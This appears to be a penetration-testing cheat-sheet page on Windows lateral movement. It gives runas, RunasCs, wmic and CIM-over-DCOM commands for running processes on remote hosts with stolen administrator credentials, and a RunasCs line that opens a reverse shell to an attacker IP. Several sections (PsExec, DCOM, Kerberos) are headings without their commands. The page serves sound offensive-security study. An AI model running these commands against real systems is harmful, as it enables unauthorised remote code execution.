Lateral Movement

RunAs

Use the runas command to execute commands on behalf of another user on the same host.

runas /user:<USER> <COMMAND, ex. cmd>
# or 
Start-Process cmd.exe -Verb runAs

You can also use RunasCs.ps1arrow-up-right or RunasCs.exearrow-up-right to access a user who does not have remote access authorization via another user who does have it

Import-Module .\Invoke-RunasCs.ps1
Invoke-RunasCs <USER> <PASS> "cmd /c whoami /all"
.\RunasCs.exe <USER> <PASS> "cmd.exe -r <IP>:<PORT>"

We need the credentials of a member of the Administrators local group on the target host.

CMD
wmic /node:<IP> /user:<USER> /password:<PASS> process call create "<COMMAND>"
PowerShell
$credential = New-Object System.Management.Automation.PSCredential 'USER', (ConvertTo-SecureString '<PASS>' -AsPlaintext -Force)
$Session = New-Cimsession -ComputerName <IP> -Credential $credential -SessionOption (New-CimSessionOption -Protocol DCOM)
$command = '<COMMAND>';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

We need the credentials of a member of the Administrators local group or Remote Management Users group on the target host.

PsExec

We need the credentials of a member of the Administrators local group, the ADMIN$ share available and File and Printer Sharing turned on (both default settings on modern Windows Server systems).

chevron-rightDetailshashtag

To execute the command remotely, PsExec performs the following tasks:

  • Writes psexesvc.exe into the C:\Windows directory

  • Creates and spawns a service on the remote host

  • Runs the requested program/command as a child process of psexesvc.exe

psexecarrow-up-right is not installed by default on Windows, we need to transfer it.

DCOM

Interaction with DCOM is performed over RPC on TCP port 135 and local Administrator access is required to call the DCOM Service Control Manager, which is essentially an API.

Kerberos Tickets

Set /etc/hosts and /etc/krb5.conf

Get the TGT

Import it

Use with Kerberos authentication (-k)

Last updated